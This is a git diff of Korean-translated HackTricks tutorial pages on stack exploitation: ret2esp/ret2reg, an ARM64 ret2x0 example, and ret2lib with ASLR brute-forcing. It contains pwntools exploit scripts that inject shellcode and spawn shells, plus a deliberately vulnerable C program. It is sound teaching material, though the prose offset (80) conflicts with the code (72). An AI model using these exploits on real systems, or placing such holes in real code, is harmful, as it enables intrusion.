Translated ['binary-exploitation/rop-return-oriented-programing/ret2esp-
BIN
.gitbook/assets/image (1212).png
Normal file
After Width: | Height: | Size: 188 KiB |
BIN
.gitbook/assets/image (1213).png
Normal file
After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/image (1214).png
Normal file
After Width: | Height: | Size: 213 KiB |
BIN
.gitbook/assets/image (1215).png
Normal file
After Width: | Height: | Size: 244 KiB |
BIN
.gitbook/assets/image (1216).png
Normal file
After Width: | Height: | Size: 209 KiB |
BIN
.gitbook/assets/image (1217).png
Normal file
After Width: | Height: | Size: 562 KiB |
BIN
.gitbook/assets/image (1218).png
Normal file
After Width: | Height: | Size: 297 KiB |
BIN
.gitbook/assets/image (1219).png
Normal file
After Width: | Height: | Size: 230 KiB |
BIN
.gitbook/assets/image (1220).png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
.gitbook/assets/image (1221).png
Normal file
After Width: | Height: | Size: 247 KiB |
BIN
.gitbook/assets/image (1222).png
Normal file
After Width: | Height: | Size: 394 KiB |
BIN
.gitbook/assets/image (1223).png
Normal file
After Width: | Height: | Size: 258 KiB |
|
@ -705,6 +705,7 @@
|
|||
* [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
|
|
|
@ -4,36 +4,36 @@
|
|||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**ESP (스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP (명령어 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 대체하는 것을 포함합니다. 이렇게 하면 쉘코드가 덮어쓰인 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행될 때 ESP는 다음 주소를 가리키며, 쉘코드가 저장된 정확한 위치가 됩니다.
|
||||
**ESP (스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP (명령어 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 대체하는 것을 포함합니다. 이렇게 하면 쉘코드가 덮어쓰인 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행될 때 ESP는 쉘코드가 저장된 정확한 다음 주소를 가리킵니다.
|
||||
|
||||
Windows 또는 Linux에서 **주소 공간 레이아웃 무작위화 (ASLR)**가 비활성화된 경우, 공유 라이브러리에서 찾은 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 활성화된 경우, 취약한 프로그램 자체에서 이러한 명령을 찾아야 할 수 있습니다 ([**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 할 수도 있습니다).
|
||||
|
||||
또한, 쉘코드를 **EIP 손상 이후에 배치**할 수 있으므로 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 쉘코드에 간섭하지 않도록 보장합니다. 쉘코드가 함수 스택의 중간에 배치된 경우 이러한 간섭이 발생할 수 있습니다.
|
||||
또한, 쉘코드를 **EIP 손상 이후에 배치**할 수 있으므로 함수의 작동 중간이 아닌 스택의 중간에 두지 않아도 됩니다. 함수의 스택 중간에 쉘코드를 두면 함수 작동 중에 실행되는 `push` 또는 `pop` 명령이 쉘코드와 간섭할 수 있습니다.
|
||||
|
||||
### 공간 부족
|
||||
|
||||
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우 (아마도 몇 바이트뿐), 초기 **`jmp`** 쉘코드를 작성하세요:
|
||||
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우 (아마도 몇 바이트뿐이라면), 초기 **`jmp`** 쉘코드를 작성하세요:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
스택의 앞부분에 셸코드를 작성하십시오.
|
||||
|
||||
### 예시
|
||||
|
||||
이 기술의 예시는 [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)에서 찾을 수 있으며 최종 exploit은 다음과 같습니다:
|
||||
스택 내부에 셸코드를 미리 작성할 수 있습니다.
|
||||
|
||||
예시로 이 기술의 예제를 다음 링크에서 찾을 수 있습니다: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) 최종적으로 사용된 공격 코드는 다음과 같습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -53,7 +53,7 @@ pause()
|
|||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
다른 예제를 볼 수 있습니다. [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). NX가 활성화되지 않은 버퍼 오버플로우가 있으며, `$esp` 주소를 줄이는 가젯을 사용한 후 `jmp esp;`를 사용하여 쉘코드로 이동합니다:
|
||||
다른 예제를 볼 수 있습니다. [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). NX가 활성화되지 않은 버퍼 오버플로우가 있으며, `$esp` 주소를 줄이기 위해 가젯을 사용한 다음 `jmp esp;`를 사용하여 쉘코드로 이동합니다:
|
||||
```python
|
||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||
from pwn import *
|
||||
|
@ -87,11 +87,10 @@ target.sendline(payload)
|
|||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
비슷하게, 우리가 함수가 셸코드가 저장된 주소를 반환한다는 것을 알고 있다면, **`call eax`** 또는 **`jmp eax`** 명령어를 활용할 수 있습니다 (**ret2eax** 기술로 알려져 있음), 우리의 셸코드를 실행하기 위한 다른 방법을 제공합니다. eax와 마찬가지로, 흥미로운 주소를 포함하는 **다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
|
||||
마찬가지로, 우리가 함수가 셸코드가 저장된 주소를 반환하는 것을 알고 있다면, **`call eax`** 또는 **`jmp eax`** 명령어를 활용할 수 있습니다 (**ret2eax** 기술로 알려져 있음), 우리의 셸코드를 실행하기 위한 또 다른 방법을 제공합니다. eax와 마찬가지로, 흥미로운 주소를 포함하는 **다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
|
||||
|
||||
### 예시
|
||||
|
||||
|
@ -101,12 +100,107 @@ target.interactive()
|
|||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
* **`strcpy`**는 셸코드가 저장된 버퍼의 주소를 **`eax`**에 저장하고 **`eax`**가 덮어써지지 않았기 때문에 `ret2eax`를 사용할 수 있습니다.
|
||||
|
||||
## 보호 기능
|
||||
## ARM64
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 불가능하면 셸코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 기능은 esp 또는 다른 레지스터로 점프할 명령어를 찾기 어렵게 만들 수 있습니다.
|
||||
### Ret2sp
|
||||
|
||||
## 참고 자료
|
||||
ARM64에서는 **SP 레지스터로 점프하는 명령어가 없습니다**. SP를 레지스터로 이동한 다음 해당 레지스터로 점프하는 가젯을 찾을 수도 있지만, 제 칼리의 libc에서는 그와 같은 가젯을 찾을 수 없었습니다:
|
||||
```bash
|
||||
for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
발견한 유일한 것은 sp가 복사된 레지스트리의 값을 변경하여 해당 레지스트리로 점프하기 전에 (그래서 쓸모 없어질 것) 변경하는 것이었습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1221).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아 해당 주소로 점프할 수 있습니다. 다음과 같이 사용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
ARM64에서 함수의 반환 값을 저장하는 것은 **`x0`**입니다. 따라서 x0이 사용자가 제어하는 버퍼의 주소를 저장하고 실행할 쉘코드를 포함할 수도 있습니다.
|
||||
|
||||
예시 코드:
|
||||
```c
|
||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
함수의 어셈블리어를 확인하면 버퍼의 주소(bof에 취약하며 사용자가 제어함)가 버퍼 오버플로우에서 반환하기 전에 `x0`에 저장된 것을 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1222).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
또한 `do_stuff` 함수에서 **`br x0`** 가젯을 찾을 수 있습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1223).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
우리는 이 가젯을 사용하여 거기로 점프할 것입니다. 왜냐하면 바이너리가 PIE 없이 컴파일되었기 때문입니다. 패턴을 사용하여 버퍼 오버플로우의 오프셋이 80임을 확인할 수 있으므로, exploit은 다음과 같을 것입니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2x0')
|
||||
elf = context.binary = ELF('./ret2x0')
|
||||
|
||||
stack_offset = 72
|
||||
shellcode = asm(shellcraft.sh())
|
||||
br_x0 = p64(0x4006a0) # Addr of: br x0;
|
||||
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 `fgets` 대신에 **`read`**와 같은 것을 사용했다면, PIE를 우회할 수 있었을 것이며, **리턴 어드레스의 마지막 2바이트만 덮어쓰면** `br x0;` 명령으로 돌아가 PIE의 전체 주소를 알 필요 없이 가능했을 것이다.\
|
||||
`fgets`를 사용하면 **끝에 널 (0x00) 바이트가 추가**되기 때문에 작동하지 않는다.
|
||||
{% endhint %}
|
||||
|
||||
## Protections
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 불가능한 경우 쉘코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 도움이 되지 않는다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 것들은 esp나 다른 레지스터로 점프할 명령을 찾기 어렵게 만들 수 있다.
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,7 +25,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 주소 찾기
|
||||
|
||||
* 현재 시스템에서 사용하는 `libc`를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:
|
||||
* 현재 시스템에서 사용되는 `libc`를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -57,7 +57,7 @@ find "/bin/sh"
|
|||
|
||||
프로세스가 **매번 대화할 때마다 자식 프로세스를 생성**하는 경우 해당 파일을 **읽어보세요** (아마도 루트 권한이 필요할 것입니다).
|
||||
|
||||
여기에서는 프로세스 내부에 **libc가 정확히 어디에 로드되었는지**와 **프로세스의 각 자식이 로드될 위치**를 찾을 수 있습니다.
|
||||
여기에서는 프로세스 내부에 **libc가 정확히 어디에 로드되었는지**와 **프로세스의 각 자식에 로드될 위치**를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (850).png>)
|
||||
|
||||
|
@ -65,7 +65,7 @@ find "/bin/sh"
|
|||
|
||||
## 알 수 없는 libc
|
||||
|
||||
바이너리가 로드하는 libc를 **알 수 없을 수도 있습니다** (접근할 수 없는 서버에 위치할 수 있기 때문입니다). 이 경우 취약점을 악용하여 **일부 주소를 노출시키고 어떤 libc 라이브러리가 사용 중인지** 찾을 수 있습니다:
|
||||
바이너리가 로드하는 libc를 **알 수 없을 수도 있습니다** (접근할 수 없는 서버에 위치할 수도 있습니다). 이 경우 취약점을 악용하여 **일부 주소를 노출시키고 어떤 libc 라이브러리가 사용 중인지** 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-address/" %}
|
||||
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
||||
|
@ -79,7 +79,7 @@ find "/bin/sh"
|
|||
|
||||
### 2개의 오프셋을 사용하여 libc 알아내기
|
||||
|
||||
페이지 [https://libc.blukat.me/](https://libc.blukat.me/)를 확인하고 libc 내의 함수 주소 **두 개를 사용**하여 **사용된 버전**을 확인하세요.
|
||||
[https://libc.blukat.me/](https://libc.blukat.me/) 페이지를 확인하고 libc 내의 함수 주소 중 **두 개의 주소**를 사용하여 **사용된 버전**을 확인하세요.
|
||||
|
||||
## 32비트에서 ASLR 우회
|
||||
|
||||
|
@ -89,7 +89,7 @@ find "/bin/sh"
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* 원격 서버를 공격하는 경우, 인자로 10을 전달하여 `libc` 함수 `usleep`의 주소를 **브루트 포스**할 수 있습니다. **서버가 응답하는 데 10초 더 걸린다면**, 이 함수의 주소를 찾은 것입니다.
|
||||
* 원격 서버를 공격할 때, `libc` 함수 `usleep`의 주소를 **10** (예: 10)으로 전달하여 **brute-force** 시도할 수 있습니다. 서버가 응답하는 데 **10초 더 걸리는 경우**, 이 함수의 주소를 찾았습니다.
|
||||
|
||||
## 원 가젯
|
||||
|
||||
|
@ -101,7 +101,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|||
|
||||
## x86 Ret2lib 코드 예시
|
||||
|
||||
이 예시에서 ASLR 브루트 포스가 코드에 통합되어 있으며 취약한 이진 파일이 원격 서버에 위치해 있습니다:
|
||||
이 예시에서 ASLR **brute-force**가 코드에 통합되어 있으며 취약한 이진 파일이 원격 서버에 위치해 있습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -119,35 +119,59 @@ c.interactive()
|
|||
```
|
||||
## x64 Ret2lib 코드 예제
|
||||
|
||||
다음 예제를 확인하십시오:
|
||||
다음 예제를 확인하세요:
|
||||
|
||||
{% content-ref url="../" %}
|
||||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ret-into-printf (또는 puts)
|
||||
## ARM64 Ret2lib 예제
|
||||
|
||||
이를 통해 `printf`/`puts`를 호출하여 특정 데이터를 인수로 사용하여 프로세스에서 정보를 **유출**할 수 있습니다.
|
||||
ARM64의 경우, ret 명령은 x30 레지스터가 가리키는 곳으로 점프하며 스택 레지스터가 가리키는 곳으로는 점프하지 않습니다. 따라서 조금 더 복잡합니다.
|
||||
|
||||
또한 ARM64에서는 명령이 하는 대로 동작하며(명령의 중간으로 점프하여 새로운 명령으로 변환하는 것은 불가능합니다).
|
||||
|
||||
다음 예제를 확인하세요:
|
||||
|
||||
{% content-ref url="ret2lib-+-printf-leak-arm64.md" %}
|
||||
[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## printf(또는 puts)로 Ret하기
|
||||
|
||||
이를 통해 `printf`/`puts`를 호출하여 특정 데이터를 인수로 전달하여 프로세스에서 정보를 **유출**할 수 있습니다. 예를 들어 `puts`의 주소를 GOT에 넣고 `puts`를 실행하면 메모리에서 `puts`의 주소를 **유출**할 수 있습니다.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
이는 기본적으로 **`printf` 형식 문자열 취약점으로 변환하기 위해 Ret2lib를 남용**하는 것을 의미하며, `ret2lib`를 사용하여 값을 사용하여 printf를 호출하여 해당 값을 악용하는 것을 의미합니다 (의미 없지만 가능함):
|
||||
이는 기본적으로 `Ret2lib`를 남용하여 `printf` 형식 문자열 취약점으로 변환하는 것을 의미하며, `ret2lib`를 사용하여 값을 전달하여 취약점을 악용합니다 (의미 없어 보일 수 있지만 가능합니다):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 다른 예제 및 참조
|
||||
## 기타 예제 및 참고 자료
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib, libc 내 함수 주소 누출, 원 가젯 사용
|
||||
* Ret2lib, libc의 함수 주소 유출, 원 가젯 사용
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64비트, ASLR 활성화되어 있지만 PIE 비활성화, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채우고 그런 다음 puts를 호출하여 누출합니다. canary로부터 ROP 가젯을 만들어 GOT에서 puts의 주소를 누출하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 호출합니다.
|
||||
* 64비트, ASLR 활성화되어 있지만 PIE가 없는 경우, 오버플로우를 통해 canary의 0x00 바이트까지 채운 후 puts를 호출하여 유출합니다. canary로부터 ROP 가젯을 생성하여 GOT에서 puts의 주소를 유출하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64비트, ASLR 활성화, canary 없음, 메인 함수에서 자식 함수로의 스택 오버플로우. puts를 호출하여 GOT에서 puts의 주소를 누출하고 원 가젯을 호출합니다.
|
||||
* 64비트, ASLR 활성화, canary 없음, 메인 함수에서 자식 함수로의 스택 오버플로우. puts를 호출하여 GOT에서 puts의 주소를 유출한 다음 원 가젯을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
* 64비트, PIE 없음, canary 없음, relro 없음, nx. write 함수를 사용하여 write (libc)의 주소를 누출하고 원 가젯을 호출합니다.
|
||||
* 64비트, PIE 없음, canary 없음, relro 없음, nx. write 함수를 사용하여 write (libc)의 주소를 유출하고 원 가젯을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* 스택에서 canary를 누출하기 위해 형식 문자열을 사용하고 시스템을 호출하기 위해 버퍼 오버플로우를 사용하여 `/bin/sh`의 주소로 시스템을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32비트, relro 없음, canary 없음, nx, pie. libc 및 힙 주소를 스택에서 누출하기 위해 나쁜 인덱싱을 남용합니다. 버퍼 오버플로우를 남용하여 `system('/bin/sh')`를 호출하는 ret2lib를 수행합니다 (힙 주소는 체크를 우회하기 위해 필요합니다).
|
||||
* 스택에서 canary를 유출하기 위해 형식 문자열을 사용하고 버퍼 오버플로우를 사용하여 시스템을 호출합니다 (GOT에 있음) `/bin/sh`의 주소로.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,38 +2,41 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요** <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요** <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
